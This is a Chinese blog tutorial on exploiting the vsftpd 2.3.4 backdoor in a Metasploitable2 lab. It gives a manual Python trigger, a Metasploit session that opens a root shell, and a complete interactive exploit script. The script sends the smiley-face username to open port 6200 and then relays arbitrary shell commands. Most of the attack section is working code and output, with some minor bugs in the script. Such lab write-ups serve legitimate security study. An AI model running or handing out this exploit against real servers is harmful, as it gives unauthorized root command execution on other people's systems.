安全开发-Vsftpd2.3.4后门利用脚本编写
来自法老的博客
Python专题
Created At : 2021-01-29 16:59
Views 👀 :15
一:漏洞起源
二:手动利用
靶场环境
定位 | 环境 | IP Address |
---|---|---|
攻击机 | Python3.8 | 192.168.31.33 |
靶机 | Metasploitable2 | 192.168.31.20 |
步骤一:FTP登录
使用用户名+:)来进行用户登录,密码随便填写,连接上后会开启后门侦听6200端口来等待命令连接
步骤二:Python脚本发送命令
import socket #导入socket库
ip = "192.168.31.33"
port = 6200
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip, 6200)) #对目标建立socket连接
s.settimeout(1.5)
host = str.encode('id -u -n' + '\n') #执行id命令查询当前用户身份信息
s.send(host) #发送命令
hostt = s.recv(1024).decode('utf-8') #接受命令
print(hostt) #打印命令执行结果
python复制代码
三:MSF攻击
msf6 > search vsftpd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.31.33
RHOSTS => 192.168.31.33
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.31.33:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.31.33:21 - USER: 331 Please specify the password.
[+] 192.168.31.33:21 - Backdoor service has been spawned, handling...
[+] 192.168.31.33:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.31.33:6200) at 2021-01-29 17:28:46 +0800
whoami
root
xaml复制代码
四:攻击脚本编写
import socket #网络编程
import time #处理时间
import sys #接受参数
def exploit(ip, port):
try:
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect((ip, port)) #对目标IP地址及端口进行连接
check = ftp.recv(1024).decode('utf-8') #接受返回来的数据并对其进行解码操作
socket.setdefaulttimeout(5) #设置请求超时时间
if "vsftpd 2.3.4" in check.lower(): #检测banner信息中是否存在漏洞信息
ftp.send(b'USER letmein:)\n') #发送攻击数据,记住笑脸
ftp.send(b'PASS invaild\n') #发送攻击数据
time.sleep(2) #等待2秒钟时间
ftp.close() #关闭连接
print("[+] SUCCESSFUL CONNECTİON")
else:
print("[-] Not work vsftpd 2.3.4")
except Exception as f: #异常信息给到变量f
print('[-] CONNECTION FAILED')
print(f) #打印异常信息
ftp.close() #关闭连接
sys.exit(1) #退出程序并返回1
try:
arkakapi = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #调用socket库
arkakapi.connect((ip, 6200)) #对目标IP地址及端口进行连接
arkakapi.setdefaulttimeout(1.5) #设置请求超时时间为1.5秒
print('[*] SESSION CREATED')
print('[!] Interactive shell to check >> use command shell_check')
host = str.encode('id -u -n' + '\n') #漏洞验证
arkakapi.send(host) #发送命令
hostt = arkakapi.recv(1024).decode('utf-8') #打印输出当前用户信息
while True:
sendnude = input(ip + '@' + str(hostt.strip()) + "#: ") #接受用户输入要执行的命令
if sendnude.lower() == 'shell_check': #shell终端检测
print('[*]Interactıve shell checked...')
komut = str.encode((tty + '\n'))
arkakapi.send(komut)
print(arkakapi.recv(1024).decode('utf-8'))
else:
try:
komut = str.encode((sendnude + '\n')) #将输入的命令添加换行操作在进行UTF-8编码
arkakapi.send(komut) #发送要执行的命令
responseq = arkakapi.recv(1024).decode('utf-8') #接受并解码放回来的数据
print(responseq) #打印命令执行结果
except socket.timeout:
pass
if sendnude.lower() == 'exit': #shell中判断退出
print('[*] SESSION CLOSED')
arkakapi.close()
sys.exit(1)
except Exception as f: #异常处理
print('[!] Failed to connect to backdoor')
print(f)
if __name__ == '__main__': # 判断python脚本是否是独立执行
if len(sys.argv) < 3: # 脚本参数数量判断
print('Usage ./VSFTPexp.py <İP> <PORT>')
print('Example ./VSFTPexp.py 127.0.0.1 21')
else:
exploit(sys.argv[1], int(sys.argv[2])) #函数使用 第一个参数传递进入字符串类型 第二个参数传递进入为类型转换后的整型
python复制代码
执行结果